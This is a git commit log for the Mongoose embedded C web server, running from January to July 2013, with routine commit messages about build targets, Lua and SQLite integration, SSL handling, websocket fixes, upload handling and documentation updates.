mongoose.c:4681:52: error: ‘ERR_error_string’ was not declared in this scope
2013-07-26 14:12:33 -07:00
Sergey Lyubka 526f3aa31c Added check for document_root != NULL in convert_uri_to_file_name(). Added #define rmdir _rmdir for win32 2013-07-25 07:22:02 +01:00
Sergey Lyubka 62d66201c9 make match_prefix() case-insensitive 2013-07-25 07:07:25 +01:00
Sergey Lyubka f32e14478f Merge pull request #203 from JoseGoncalves/fixes
Fix uninitialized argument in getsockname().
2013-07-24 04:58:27 -07:00
José Miguel Gonçalves ca019799b9 Fix uninitialized argument in getsockname(). 2013-07-24 12:24:13 +01:00
Sergey Lyubka c6fb9ac3d0 Fixed indenting in is_put_or_delete_request() 2013-07-23 08:24:52 +01:00
Sergey Lyubka c80a88a407 Added test for uploading 2 files 2013-07-23 08:17:00 +01:00
Sergey Lyubka f2e19ca3ff Fixed indenting 2013-07-23 08:16:38 +01:00
Sergey Lyubka 16c463d2e9 Added compile-time option to set stack size 2013-07-22 10:10:19 +01:00
Sergey Lyubka 6a99518048 updated readme 2013-07-22 09:54:02 +01:00
Sergey Lyubka 3b242ec68b Added Android makefile 2013-07-22 09:45:23 +01:00
Sergey Lyubka 7409166409 Updated readme 2013-07-22 09:30:01 +01:00
Sergey Lyubka ca66b84f7d Updated readme 2013-07-22 09:27:47 +01:00
Sergey Lyubka dc1c732f11 Updated readme 2013-07-22 09:24:17 +01:00
Sergey Lyubka 61148f1323 Using absolute paths for all file/directory options 2013-07-22 08:23:15 +01:00
Sergey Lyubka 136e3e353d updated readme 2013-07-21 10:09:47 +01:00
Sergey Lyubka c70b80e4e1 marketing for LSP added 2013-07-20 15:30:00 +01:00
Sergey Lyubka cba4c9d85d removed travis icon 2013-07-20 15:26:05 +01:00
Sergey Lyubka 3e588065dc removed 2013-07-20 15:25:39 +01:00
Sergey Lyubka 35cb27dbe6 Always use absolute path for document_root. If relative path is used, it is relative to mongoose.exe directory. See https://github.com/valenok/mongoose/issues/181 2013-07-20 14:11:05 +01:00
Sergey Lyubka d6b9f76e9c Added COPT to CFLAGS 2013-07-20 14:08:06 +01:00
Sergey Lyubka a9d51c0e87 squashed warning 2013-07-20 11:33:34 +01:00
Sergey Lyubka 4b163232e3 fixed docstring for mg_get_valid_option_names 2013-07-20 07:12:49 +01:00
Sergey Lyubka e003236a03 Made SSI #include file= relative to the current doc, as per spec 2013-07-19 07:57:47 +01:00
Sergey Lyubka de7745370c Merge pull request #200 from ejohnstown/master
Allow no SSL_CERTIFICATE when using init_ssl callback.
2013-07-18 23:35:16 -07:00
Sergey Lyubka 21786eec8e Changed int -> SOCKET where appropriate, per Ben Currie 2013-07-18 18:17:48 +01:00
Sergey Lyubka 036b213b2b Added connection-specific conn_data pointer to struct mg_request_info 2013-07-18 17:31:16 +01:00
John Safranek 61f5f0b725 Allow no SSL_CERTIFICATE when using init_ssl callback. 2013-07-17 16:37:28 -07:00
Sergey Lyubka d864d72470 On windows, enclosing path to CGI script in quotes to allow paths with spaces 2013-07-17 08:24:52 +01:00
Sergey Lyubka 7ca5962d2d in pull_all() and read_request(), respect ctx->stop_flag() 2013-07-16 17:17:36 +01:00
Sergey Lyubka 8ce1562f0d Using SetHandleInformation() to make socket handles on Windows non-inheritable 2013-07-16 15:52:40 +01:00
Sergey Lyubka 49d9016275 For lua, let mg.read() read only if the data is there. 2013-07-16 13:56:00 +01:00
Sergey Lyubka cdc7380d00 3.8 -> 3.9 2013-07-16 08:13:00 +01:00
Sergey Lyubka e645b33b6c using mg.read() only for POST requests 2013-07-16 07:53:08 +01:00
Sergey Lyubka 30f71a8bc4 Added description for the connect() socket interface 2013-07-16 07:24:39 +01:00
Sergey Lyubka faa030385c Removing extra SSL_shutdown() call. 2013-07-15 18:20:16 +01:00
Sergey Lyubka feb3b5db96 Using $(FLAGS) for cocoa target 2013-07-15 10:52:27 +01:00
Sergey Lyubka 508b67d6f5 Removed /Gd from windows compilation flags, cause that breaks sqlite3 + fts (qsort callback is __cdecl, not __stdcall) 2013-07-15 10:41:47 +01:00
Sergey Lyubka 133aec777d Added enable_keep_alive description 2013-07-15 10:32:52 +01:00
Sergey Lyubka 389ed4e099 Enabling FTS in sqlite 2013-07-15 10:28:52 +01:00
Sergey Lyubka bc40aa5442 fixed strtoll() for win32: using _atoi64 2013-07-14 12:49:24 +01:00
Sergey Lyubka 5fb9aca2e1 Added -mmacosx-version-min for macos build 2013-07-12 12:39:19 +01:00
Sergey Lyubka c68df310b8 Added mg_websocket_write(), per morgan3d pull request 2013-07-12 12:25:25 +01:00
Sergey Lyubka 70ce6c5ad3 Added comments to read_websocket(), per morgan3d pull request 2013-07-12 11:55:52 +01:00
Sergey Lyubka 460738f11b Corrected link to Android NDK 2013-07-11 14:41:04 +01:00
Sergey Lyubka a09ec8988e Added lua.lib target 2013-07-11 14:24:24 +01:00
Sergey Lyubka c46aa050ae MAX_OPTIONS 40 -> 100 2013-07-11 11:37:39 +01:00
Sergey Lyubka 348db16245 NOT redirecting stderr to stdout for UNIX CGI, to avoid output being littered with error messages. 2013-07-11 08:44:51 +01:00
Sergey Lyubka c0ca6a53be put_delete_auth_file is the correct option name 2013-07-10 19:08:21 +01:00
Sergey Lyubka e58d622d5f Added note about /Gz for OpenSSL & Windows 2013-07-10 07:57:20 +01:00
Sergey Lyubka bcb294620f increased buffer for the ip address string from 20 to 50, to allow ipv6 addresses 2013-07-10 07:48:06 +01:00
Sergey Lyubka 15937a9c5c readme updated 2013-07-10 07:37:56 +01:00
Sergey Lyubka fa160cb9a3 Merge pull request #191 from kblinova/master
Detect Window's style slashes in mg_upload file names
2013-07-01 00:47:21 -07:00
Sergey Lyubka 137d6484e2 Removed bogus comment 2013-07-01 08:46:20 +01:00
Sergey Lyubka e7c34c26cb mg_read() with no Content-Length would read until socket is closed 2013-07-01 08:45:07 +01:00
Katerina Blinova dfb7d928c2 Review revision for windows path separator detection in mg_upload 2013-06-28 11:05:33 -07:00
Katerina Blinova 4bb9faaf50 Detect Window's style slashes in mg_upload file names 2013-06-27 11:46:52 -07:00
Sergey Lyubka a856971b6d Update README.md 2013-06-27 13:07:34 +01:00
Sergey Lyubka 4a88ad5ca9 Merge pull request #184 from unrzn0/master
MKCOL and DELETE
2013-06-11 15:30:39 -07:00
Stefan Doehla 17ecb0a459 MKCOL and recursive DELETE 2013-06-12 00:04:07 +02:00
Sergey Lyubka afd39abc6f Update README.md 2013-06-06 05:28:46 +02:00
Sergey Lyubka 4babcff8de Update UserManual.md 2013-06-03 08:18:41 +02:00
Sergey Lyubka 17d48b1d04 Update README.md 2013-06-01 12:23:16 +02:00
Sergey Lyubka 6ab20ed9a3 Update README.md 2013-06-01 12:21:02 +02:00
Sergey Lyubka a0e5494569 Merge pull request #177 from arvidn/master
support serving pre-gzipped files
2013-05-30 10:14:45 -07:00
Sergey Lyubka f62c733990 Merge pull request #176 from codyhanson/portRangeFix
Added bounds checking for listening_ports.
2013-05-30 10:05:21 -07:00
arvidn d283e3167f support serving pre-gzipped files transparently provided the user agent accepts gzip content-encoding. The feature breaks if the user agent makes a range request within a gzipped file, and returns 501 in this case 2013-05-30 09:59:11 -07:00
Cody Hanson 94050d44e4 Added bounds checking for listening_ports.
Needs to be a valid TCP port number, and not less than 1 or greater than 65535
2013-05-30 10:54:59 -06:00
Sergey Lyubka dee97cbf22 Update README.md 2013-05-30 18:24:41 +02:00
Sergey Lyubka be01471968 Update README.md 2013-05-29 13:40:57 +02:00
Sergey Lyubka a74c44c463 Update README.md 2013-05-29 13:37:31 +02:00
Sergey Lyubka 81e53d8375 Update README.md 2013-05-26 19:12:12 +02:00
Sergey Lyubka ca626abcac Update README.md 2013-05-23 18:50:49 +02:00
Sergey Lyubka b5e7730ac7 Update README.md 2013-05-22 23:56:07 +02:00
Sergey Lyubka 33b920ed2c Exported mg_url_encode() 2013-05-19 08:00:42 +01:00
Sergey Lyubka b5b234fab2 Improved docstring for mg_read() 2013-05-19 08:00:12 +01:00
Sergey Lyubka af89d2446b Squashed warnings on win32 in Lua code 2013-05-19 07:46:15 +01:00
Sergey Lyubka 791ad49651 Merge pull request #172 from jwang11/master
Securely close SSL connection by standard SSL_shutdown
2013-05-18 23:43:51 -07:00
jwang 063b26fece Securely close SSL conection
For SSL in close_connection, current implementation use close_socket_gracefully to close socket firstly, then SSL_free. In my
testing, this approach may cause some pending write data missing. I'd suggest use standard SSL_shutdown in SSL conection. It
need call twice according to openSSL manual - one call sends the close_notify alert and one call receives the response from
the peer
2013-05-19 10:40:10 +08:00
Sergey Lyubka add079a949 Added socket functions to lua environment 2013-05-19 01:25:54 +01:00
Sergey Lyubka 6e59ad8a0d Fix for prepare_lua_environment 2013-05-19 01:25:10 +01:00
Sergey Lyubka f4862b646d defined ALL_WINOBJS and using it for windows build 2013-05-18 15:21:52 +01:00
Sergey Lyubka 91fa767efb Fix doc string for websocket_data() 2013-05-18 15:21:20 +01:00
Sergey Lyubka 5e78711467 Fixed masking in websocket code 2013-05-18 10:29:03 +01:00
Sergey Lyubka b4a622cfd6 merge 2013-05-17 11:00:36 +01:00
Sergey Lyubka 8c118bf4cc Exported mg_prepare_lua_environment() 2013-05-17 10:52:40 +01:00
Sergey Lyubka 728ebdaafa Merge pull request #170 from oerik/movadd
Added .mov (quicktime) to builtin_mimes_types
2013-05-16 05:39:10 -07:00
Erik Oomen 3a186976d7 Added .mov (quicktime) to builtin_mimes_types 2013-05-16 14:33:58 +02:00
Sergey Lyubka 2e232b3304 Lua functionality change: print renamed to mg.write, read renamed to mg.read. Expanded user manual, fixed example pages. 2013-05-15 17:42:34 +01:00
Sergey Lyubka d72645bf91 Using local var in open_auth_file 2013-05-15 09:43:38 +01:00
Sergey Lyubka 7d5bcec92d Better cleanup in close_connection() 2013-05-15 08:28:56 +01:00
Sergey Lyubka 215ea28db0 Added lua to the repo 2013-05-14 13:41:44 +01:00
Sergey Lyubka 9b76d60b38 Merge pull request #131 from abadc0de/lua_read_fixup
lsp_mg_read: remove dead code, return nil on empty read
2013-05-13 10:15:34 -07:00
Sergey Lyubka 63ccf8199f Style changes in poll() 2013-05-13 18:07:38 +01:00
Sergey Lyubka 6bc6022aa9 Merge pull request #164 from fredfung/master
Fix parameter 1 for select in poll()
2013-05-13 10:05:26 -07:00
ff.feng b68db66e97 Fix parameter 1 for select in poll() 2013-05-13 23:57:26 +08:00
Sergey Lyubka 94e1c5a41b Added sanity checking in send_file_data() 2013-05-12 23:17:44 +01:00
Sergey Lyubka ab16220861 Not leaking socket in set ports option 2013-05-10 15:40:19 +01:00
Sergey Lyubka c0eb3e56b4 Not using realloc2 in set_ports_option 2013-05-10 15:21:55 +01:00
Sergey Lyubka 5591aa5a0d Added .ttf mime type, https://github.com/valenok/mongoose/issues/129 2013-05-10 14:45:12 +01:00
Sergey Lyubka 6f946f5eea websocket code fix, https://github.com/valenok/mongoose/pull/146 2013-05-10 13:41:48 +01:00
Sergey Lyubka 39cd5b8323 Signature for mg_get_cookie changed 2013-05-10 13:14:04 +01:00
Sergey Lyubka ca96db714a Updated readme 2013-05-10 12:30:30 +01:00
Sergey Lyubka a7f97bf2f2 Fixed leaks, per afs-bb https://github.com/valenok/mongoose/pull/161 2013-05-10 12:22:04 +01:00
Sergey Lyubka e579355b01 url_decode -> mg_url_decode 2013-05-08 11:40:13 +01:00
Sergey Lyubka cfbaf7f1ae Expose mg_url_decode to the API 2013-05-08 11:36:38 +01:00
Sergey Lyubka ce26234ace Merge pull request #159 from aerotech/master
_CRT_SECURE_NO_WARNINGS should not generate a warning if already defined
2013-05-07 03:29:03 -07:00
Pavel c28dc45d4c removing warning about _CRT_SECURE_NO_WARNINGS if it is already defined
modified:   mongoose.c
2013-05-06 09:02:30 -04:00
Sergey Lyubka 98b6c5e16a Merge pull request #157 from Thileepan/master
Environment variable required for PHP cgi
2013-05-06 01:50:26 -07:00
Thileepan 1d9d1111e1 Environmental variables required for PHP cgi.
In few windows machines, the environment variables "ProgramFiles" is required to successfully execute PHP code especially socket functions.
2013-05-06 13:05:37 +05:30
Sergey Lyubka 2a0b55b30b mg_upload: trigger callback when file is already closed 2013-04-26 21:32:22 +01:00
Sergey Lyubka 1e3b167208 updated readme 2013-04-25 16:34:36 +01:00
Sergey Lyubka f7821b757c Updated README 2013-04-19 16:28:39 -07:00
Sergey Lyubka c352486abb Squashed warning in push() 2013-04-11 12:51:07 -07:00
Sergey Lyubka 4120b9bcc0 mg_get_cookie() signature change 2013-04-11 12:49:41 -07:00
Sergey Lyubka f7725f2eeb updated readme 2013-04-02 09:17:36 -07:00
Sergey Lyubka be06c3620c Updated readme 2013-03-28 18:46:15 -07:00
Sergey Lyubka 272644e39f mg_md5 returns char *, not void 2013-03-27 01:31:12 -07:00
Sergey Lyubka 55ef3afea4 Updated README 2013-03-24 09:06:52 -07:00
Sergey Lyubka 9e07c742ff Merge pull request #132 from hendrikp/master
Fixed crash and description for digest authentication
2013-03-19 10:54:05 -07:00
Hendrik Polczynski cd2e50c2c4 Update UserManual.md
fixed/extended global_auth_file description.
2013-03-19 17:52:17 +01:00
Hendrik Polczynski fdef2b8643 Update mongoose.c
when having connections with and without auth would cause double free and then crash
2013-03-19 17:42:21 +01:00
abadc0de ce55924a02 lsp_mg_read: remove dead code, return nil on empty read 2013-03-17 23:33:02 -04:00
Sergey Lyubka fbca54bcaf Updated readme 2013-03-17 07:53:03 -07:00
Sergey Lyubka 41c25d60d6 Updated README 2013-03-13 05:07:20 -07:00
Sergey Lyubka a9b5bb351f Added travis config 2013-03-11 07:25:11 -07:00
Sergey Lyubka 51ed3efcd1 Style fixes 2013-03-09 13:16:41 +00:00
Sergey Lyubka 67cffc8db5 Documented struct mg_callbacks 2013-03-09 13:12:03 +00:00
Sergey Lyubka 72abaa043b Documented struct mg_callbacks 2013-03-09 13:01:02 +00:00
Sergey Lyubka b3a511f9c5 Broken down cocoa target 2013-03-08 16:13:29 +00:00
Sergey Lyubka 8d1f6377c4 Changed websocket_data() handler API. Buffering and passing whole websocket message. 2013-03-08 16:03:23 +00:00
Sergey Lyubka 22dddc2eeb Merge pull request #124 from abadc0de/lua_err
Lua page error handling cleanup
2013-03-08 03:15:04 -08:00
Sergey Lyubka daab527743 Merge pull request #125 from bakwc/warnings
A little bit more warnings suppresed
2013-03-08 02:52:14 -08:00
Filipp Kovalev dd49c0791f A little bit more warnings suppresed 2013-03-08 14:41:17 +04:00
Sergey Lyubka 4b539d4b95 Suppressed some mingw warnings 2013-03-08 07:18:39 +00:00
Sergey Lyubka 5eabfe5da2 Using pijyoi's patch for connection close. 2013-03-08 07:08:09 +00:00
Sergey Lyubka 36b7c8d60d Forcing connection close when client disconnects. 2013-03-08 07:03:23 +00:00
abadc0de aa37b728ad Merge commit '10234' into lua_err 2013-03-07 03:02:15 -05:00
Sergey Lyubka 62085e5215 updated user manual 2013-03-06 13:37:01 +00:00
Sergey Lyubka d036f8a3f0 Merge pull request #118 from theaccordance/master
Added additional artwork files for Retina Display Support
2013-03-05 11:03:18 -08:00
Sergey Lyubka fb5e2b8c2f Setting off IPV6_V6ONLY for USE_IPV6 case 2013-03-05 18:55:33 +00:00
Sergey Lyubka 4505b00733 Removed support for option names 2013-03-05 18:26:10 +00:00
Sergey Lyubka c485b8264e Updated readme 2013-03-05 08:44:25 +00:00
Joseph Mainwaring 8edd710c00 Added additonal icon files to support Retina displays 2013-03-03 20:32:08 -06:00
Sergey Lyubka 3984e9f5cc Grammar in user manual 2013-03-02 10:34:28 +00:00
Sergey Lyubka d4fa794c83 Added mongoose internals section 2013-03-02 10:30:47 +00:00
Sergey Lyubka 3892e0199e Passing user_data to init_ssl() 2013-02-28 09:12:52 +00:00
Sergey Lyubka 67f5de624e updated readme 2013-02-28 08:09:39 +00:00
abadc0de 10234b07c4 Remove dead code 2013-02-27 16:33:05 -05:00
abadc0de 36a83e1452 Merge https://github.com/valenok/mongoose 2013-02-27 15:32:43 -05:00
abadc0de 34df4ec1fd Fix mg.onerror returns non-zero to stop processing 2013-02-27 15:29:18 -05:00
Sergey Lyubka 69cb94f3fb Removed header printing from page.lp 2013-02-27 18:06:35 +00:00
Sergey Lyubka 7204d71136 Merge pull request #102 from abadc0de/master
Better error handling and an include function for lua pages
2013-02-27 03:27:28 -08:00
Sergey Lyubka 283f590349 Merge pull request #106 from BusyJay/feature-2
Fix bugs about range request and explorer crashes
2013-02-27 03:21:33 -08:00
Sergey Lyubka 27735f293b Updated dates 2013-02-27 11:17:33 +00:00
Sergey Lyubka a560334fbb Merge pull request #111 from dpsk/lua_docs
Lua docs
2013-02-27 03:10:14 -08:00
Mikhail Nikalyukin cd1707034c update README.md 2013-02-27 13:04:08 +02:00
Mikhail Nikalyukin 5ce1fc3c2a add lua page example with the form submitting 2013-02-27 13:02:39 +02:00
Sergey Lyubka c78fe425a0 Updated Lua section in user manual 2013-02-27 10:49:31 +00:00
Sergey Lyubka a58bb71c19 Added Lua section to the user manual 2013-02-27 10:44:59 +00:00
Sergey Lyubka fc9a9593d2 Added sqlite to linux_lua target 2013-02-27 10:44:42 +00:00
Sergey Lyubka eb1fdf56e6 Updated readme 2013-02-26 11:47:46 +01:00
abadc0de ab960df8a9 Lua call stack cleanup 2013-02-25 20:48:36 -05:00
abadc0de 08048bd5bb Merge https://github.com/valenok/mongoose 2013-02-25 16:23:50 -05:00
abadc0de 800517ac16 Added support for lua error handling and includes
- Added mg.onerror, mg.include, mg.redirect
- mg.onerror, if overridden, lets the user trap syntax errors and
  other loadbuffer errors, and dump stack traces and debug info
  for uncaught runtime errors.
- Log unexpected errors from mg.onerror handlers
- Provide mg.cry so custom handlers can reproduce default behavior
- Call mg.onerror handler before unwinding stack
- If mg.onerror returns non-0, stop loading chunks
- Included pages stop parent page processing if mg.onerror returns non-zero
- Included pages don't sent HTTP errors, they throw lua errors
2013-02-25 16:19:38 -05:00
Jay 690eff4fa2 Fix bugs about range request and explorer crashes
1. fix a bug that when header contains "Range: 100-", the range request
support will fail
2. (windows) fix a bug that when explorer.exe crashes due to some
reason, the tray icon will disappear.
2013-02-25 22:17:46 +08:00
Sergey Lyubka e47b5b775a Squashed warning 2013-02-24 20:34:32 +00:00
Sergey Lyubka c15e2af897 Merge pull request #104 from pijyoi/warning-fix
minor fixes to reduce warnings in mingw
2013-02-24 12:28:23 -08:00
KIU Shueng Chuan d8536b011c portable socket type should be SOCKET 2013-02-24 23:41:32 +08:00
KIU Shueng Chuan a2239c2b4b squash mingw variable set but not used warning 2013-02-24 23:29:05 +08:00
KIU Shueng Chuan d3c02331d4 squash mingw printf format warning 2013-02-24 23:22:34 +08:00
Sergey Lyubka d707841166 Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-02-24 07:58:21 +00:00
Sergey Lyubka affd82a885 updated readme 2013-02-24 07:56:41 +00:00
Sergey Lyubka 8322c82790 Merge pull request #103 from pijyoi/mingw-fix
avoid defining macros already present on mingw32
2013-02-23 00:52:08 -08:00
KIU Shueng Chuan 08708435a7 avoid defining macros already present on mingw32 2013-02-23 10:37:45 +08:00
Sergey Lyubka 1c6036c3ac Updated readme 2013-02-22 08:08:47 +00:00
Sergey Lyubka 6c3cb6f3eb Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-02-22 04:34:21 +00:00
Sergey Lyubka a123874ac5 Updated readme 2013-02-21 22:58:51 +00:00
Sergey Lyubka 7931929a42 Fix compile of mg_strcasestr() under windows 2013-02-18 10:49:03 +00:00
Sergey Lyubka cc4a4fb2ab Added http_error() to struct mg_callbacks 2013-02-16 15:26:11 +00:00
Sergey Lyubka 3d211d89c5 win32 mmap() must not close file handle, issue 99 2013-02-16 14:37:58 +00:00
Sergey Lyubka fbf1ccee45 Fix out-of-bounds acces in url_decode() 2013-02-16 14:31:37 +00:00
Sergey Lyubka 0bd43bcae3 Using mg_strcasestr() instead of strstr() 2013-02-16 14:17:38 +00:00
Sergey Lyubka b809665cad Squashed warning 2013-02-16 12:54:16 +00:00
Sergey Lyubka 463b49f1bd Fixed poll() issue with QNX 2013-02-16 12:54:02 +00:00
Sergey Lyubka a881aad5c6 Updated readme 2013-02-16 11:48:34 +00:00
Sergey Lyubka aae0995cd2 Updated README 2013-02-12 21:24:08 +00:00
Sergey Lyubka 26b3f227d9 Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-02-12 21:04:42 +00:00
Sergey Lyubka 665770d602 cleaning up more files on make clean 2013-02-12 21:04:23 +00:00
Sergey Lyubka fcafaa73d6 Style fixes in the comments 2013-02-12 21:03:54 +00:00
Sergey Lyubka 079b9ec2c1 Added linux_lua target 2013-02-12 12:33:44 +00:00
Sergey Lyubka 7bd9a85897 Merge pull request #92 from jmucchiello/send_http_error
Send http error
2013-02-10 13:51:34 -08:00
Joe Mucchiello 2efc5d9fce http_error callback
Allow user to display status code errors
2013-02-10 15:58:06 -05:00
Joe Mucchiello 1cb094e059 Revert "Add http_error callback"
This reverts commit 27fe9c8f01.
2013-02-10 15:50:20 -05:00
Joe Mucchiello 27fe9c8f01 Add http_error callback
Allows user code to display its own error status responses or just log
the errors. Is called even in cases where begin_request is not called.
2013-02-10 15:02:37 -05:00
jmucchiello 9178fbd153 Merge pull request #1 from valenok/master
update
2013-02-10 11:51:24 -08:00
Sergey Lyubka b2b43ab0cd updated user manual 2013-02-10 16:27:19 +00:00
Sergey Lyubka 1415d187eb Added comments about auth checks done before begin_request() 2013-02-10 15:32:08 +00:00
Sergey Lyubka a65078b858 Calling begin_request() after auth checks. 2013-02-10 15:25:11 +00:00
Sergey Lyubka 7107afae5c updated readme 2013-02-10 15:00:34 +00:00
Sergey Lyubka f6a807c5a4 updated readme 2013-02-10 08:17:59 +00:00
Sergey Lyubka 47b11dd19e Updated README 2013-02-08 10:50:45 +00:00
Sergey Lyubka 61cdc93405 Updated README 2013-02-08 10:49:29 +00:00
Sergey Lyubka 7a52bd643c Updated manual 2013-02-08 10:45:40 +00:00
Sergey Lyubka 63e8052e4b Added index.lp to the index_files 2013-02-08 10:26:25 +00:00
Sergey Lyubka 782d0cda46 Updated user manual 2013-02-08 10:10:02 +00:00
Sergey Lyubka 72803eb7f8 num_threads 20 -> 50 2013-02-08 10:09:53 +00:00
Sergey Lyubka c7fd221ab7 Updated README 2013-02-08 09:17:59 +00:00
Sergey Lyubka 492185e35f Updated README 2013-02-08 09:17:21 +00:00
Sergey Lyubka 845d7b08e1 Fixed assert for keepalive code path 2013-02-08 08:21:52 +00:00
Sergey Lyubka 49bac31d2d Updated README 2013-02-08 08:21:05 +00:00
Sergey Lyubka 9baf2d4ba4 Using keep alive in unit test 2013-02-08 08:19:01 +00:00
Sergey Lyubka 1becd26a8f Updated readme 2013-02-07 20:58:37 +00:00
Sergey Lyubka ffa983552f 3.7 -> 3.8 2013-02-06 09:40:26 +00:00
Sergey Lyubka 13d0b67c00 More updates to User Manual 2013-02-05 18:00:49 +00:00
Sergey Lyubka bda8e90733 Added protection against running under launchd 2013-02-05 17:59:56 +00:00
Sergey Lyubka fed2057a33 Added comment 2013-02-05 17:59:16 +00:00
Sergey Lyubka a27f62f89f More options 2013-02-05 14:04:38 +00:00
Sergey Lyubka d53902844c Squashed warning for lua+sqlite code path 2013-02-04 22:14:42 +00:00
Sergey Lyubka 9870b80c65 Updated README 2013-02-04 20:18:07 +00:00
Sergey Lyubka cde25a8b82 Removed embedded test 2013-02-03 19:56:24 +00:00
Sergey Lyubka 1b7f036199 Removed embedded test 2013-02-03 19:56:16 +00:00
Sergey Lyubka b80157b7ea Setting user data pointer properly 2013-02-03 19:15:27 +00:00
Sergey Lyubka f9311f0b30 Building cocoa version with lua + sqlite 2013-02-02 16:42:01 +00:00
Sergey Lyubka bdd933f597 Fixed UNIX code path for handle_lsp_request() 2013-02-02 16:41:43 +00:00
Sergey Lyubka ee55d38b55 API CHANGE: using struct mg_callbacks 2013-02-01 16:48:30 +00:00
Sergey Lyubka 62162ff3e4 Added /DNO_SSL_DL to w target 2013-02-01 13:53:31 +00:00
Sergey Lyubka 98f66c8867 Updated User Manual 2013-01-31 22:33:08 +00:00
Sergey Lyubka c132191cad Prepare to change the API to use explicit callbacks 2013-01-31 18:29:22 +00:00
Sergey Lyubka d73aa1ad09 Added skeleton for regex checks 2013-01-31 18:06:05 +00:00
Sergey Lyubka d5bc58c38d Using sqlite as an example 2013-01-31 15:17:40 +00:00
Sergey Lyubka 51a80e4844 Do not output headers when serving Lua server pages 2013-01-31 15:17:19 +00:00
Sergey Lyubka 54f15a8fe3 Adding lua+sqlite functionality in the default windows binary build 2013-01-31 13:38:57 +00:00
Sergey Lyubka ce0826e285 Adding lua+sqlite functionality in the default windows binary build 2013-01-31 13:38:32 +00:00
Sergey Lyubka b21a8b2193 Removed wait_until_socket_is_readable(). Rely on socket timeout. 2013-01-29 11:21:23 +00:00
Sergey Lyubka 8bb49642da Merge pull request #86 from thekvs/master
I've just fixed a typo.
2013-01-28 12:06:28 -08:00
Konstantin Sorokin 3f78df86ac fixed typo 2013-01-28 18:49:19 +04:00
Sergey Lyubka c30f7a5258 Merge pull request #77 from bamiaux/add_request_timeout
Add request_timeout option
2013-01-28 03:13:28 -08:00
Sergey Lyubka 7ed94d1918 Unit test call fixed 2013-01-27 20:49:30 +00:00
Sergey Lyubka dc513a9a15 Wrapped SSL code into #ifndef NO_SSL 2013-01-27 20:49:17 +00:00
Sergey Lyubka 8ce6cf61b7 Using relative path to yassl 2013-01-27 20:48:52 +00:00
Sergey Lyubka e63f7fe33a Always initializing struct file on stack 2013-01-25 21:50:00 +00:00
Sergey Lyubka b589e0cdf4 Fixed mg_upload() and some SSL related issues 2013-01-25 20:28:09 +00:00
Sergey Lyubka 2b87f909ce Makefile refactored 2013-01-25 20:27:52 +00:00
Sergey Lyubka ec7d0b1abd Added test_mg_upload() 2013-01-25 20:27:08 +00:00
Sergey Lyubka 5bb3ede46d Removed mongoose.1 2013-01-25 13:21:19 +00:00
Sergey Lyubka 5105717f78 Added printf checkers for mg_download 2013-01-24 09:35:54 +00:00
Sergey Lyubka 9d1e356709 changed README 2013-01-24 09:35:11 +00:00
Sergey Lyubka 3d7192d9fa Typo in mongoose.h fixed 2013-01-24 01:16:23 +00:00
Sergey Lyubka 1b3cbb17c1 Updated README 2013-01-23 23:48:07 +00:00
Sergey Lyubka f1f03e4378 Updated README 2013-01-23 23:43:59 +00:00
Sergey Lyubka 625a2a3652 Updated README 2013-01-23 23:42:46 +00:00
Sergey Lyubka 33a31d9308 Updated README 2013-01-23 23:39:55 +00:00
Sergey Lyubka 5e9bd1f05e Update README.md 2013-01-23 23:34:01 +00:00
Sergey Lyubka 75d9a6c844 Removed mg_connect() and mg_fetch(). Added mg_download() 2013-01-23 21:54:27 +00:00
Sergey Lyubka 179761fd99 Removed LUA_FLAGS from CL flags 2013-01-23 21:14:11 +00:00
Sergey Lyubka b783813e54 Always sending MG_NEW_REQUEST, as first step in processing the request 2013-01-22 12:28:22 +00:00
Sergey Lyubka 4b29689a42 Binding to 127.0.0.1 to prevent popup windows on mac 2013-01-22 12:26:56 +00:00
Sergey Lyubka 9c4853471c Added stub for test_mg_upload() 2013-01-22 09:08:00 +00:00
Sergey Lyubka 81e21a3a0b Using get_url_to_first_open_port() in cocoa build 2013-01-22 09:00:17 +00:00
Sergey Lyubka bec6ea00ea Using unit test targets 2013-01-22 08:59:42 +00:00
Sergey Lyubka ed32e3be0f Added unix_unit_test and windows_unit_test targets 2013-01-22 08:59:13 +00:00
Sergey Lyubka 83fae879bf Binding to 127.0.0.1 to prevent annoying popups on mac 2013-01-21 22:29:31 +00:00
Sergey Lyubka 2169e6d77f Added -pthread to the CFLAGS 2013-01-21 17:51:56 +00:00
Sergey Lyubka 850e0a5922 Updated readme 2013-01-21 09:11:58 +00:00
Sergey Lyubka 322ed3cc6f fflush()-ing uploaded file before calling MG_UPLOAD callback 2013-01-21 01:39:14 +00:00
Sergey Lyubka 6d4d53c247 Squashed linux warning in process_new_connection() 2013-01-20 10:11:57 +00:00
Sergey Lyubka e6f8d40942 SSL redirect, using Host: header 2013-01-20 10:06:31 +00:00
Sergey Lyubka 7e051206ad Removed obsolete manual reference 2013-01-20 00:21:57 +00:00
Sergey Lyubka 76d913796c Getting first SSL listener dynamically 2013-01-19 22:32:26 +00:00
Sergey Lyubka 4c2609df2c Merge branch 'master' of ssh://github.com/valenok/mongoose 2013-01-19 10:46:10 +00:00
Sergey Lyubka f79bd71fd4 Implemented ssl redirection 2013-01-19 10:45:58 +00:00
Sergey Lyubka 5d4f5b6000 Merge pull request #83 from rogerz/mingw-build-error
Fix building error under mingw
2013-01-18 05:36:50 -08:00
Rogerz Zhang fe7c245a6b Fix building error under mingw 2013-01-18 21:22:44 +08:00
Sergey Lyubka f24bebaca8 3.6 -> 3.7 2013-01-18 11:08:20 +00:00
Sergey Lyubka 08afdfa8b6 better cleanup 2013-01-18 10:43:52 +00:00
Sergey Lyubka 05f7d65fc9 Added "Start browser" menu item 2013-01-18 10:38:58 +00:00
Sergey Lyubka a194e07545 2011 -> 2013 2013-01-18 09:45:54 +00:00
Sergey Lyubka dbb8a5bbf4 put_delete_passwords_file -> put_delete_auth_file 2013-01-18 09:45:36 +00:00
Sergey Lyubka d3005df019 Bug fix in Win32 mg_mkdir 2013-01-17 17:51:59 +00:00
Sergey Lyubka ef9b103a00 Started adding ssl redirection support 2013-01-17 17:50:18 +00:00
Sergey Lyubka f0a2924a7c Added config editor for Win32 2013-01-17 17:14:41 +00:00
Sergey Lyubka f109030cd0 Renamed: global_passwords_file -> global_auth_file, put_delete_passwords_file -> put_delete_auth_file. 2013-01-17 17:14:11 +00:00
Sergey Lyubka eebdd06532 Added comdlg32.lib to GUILIB 2013-01-17 17:13:15 +00:00
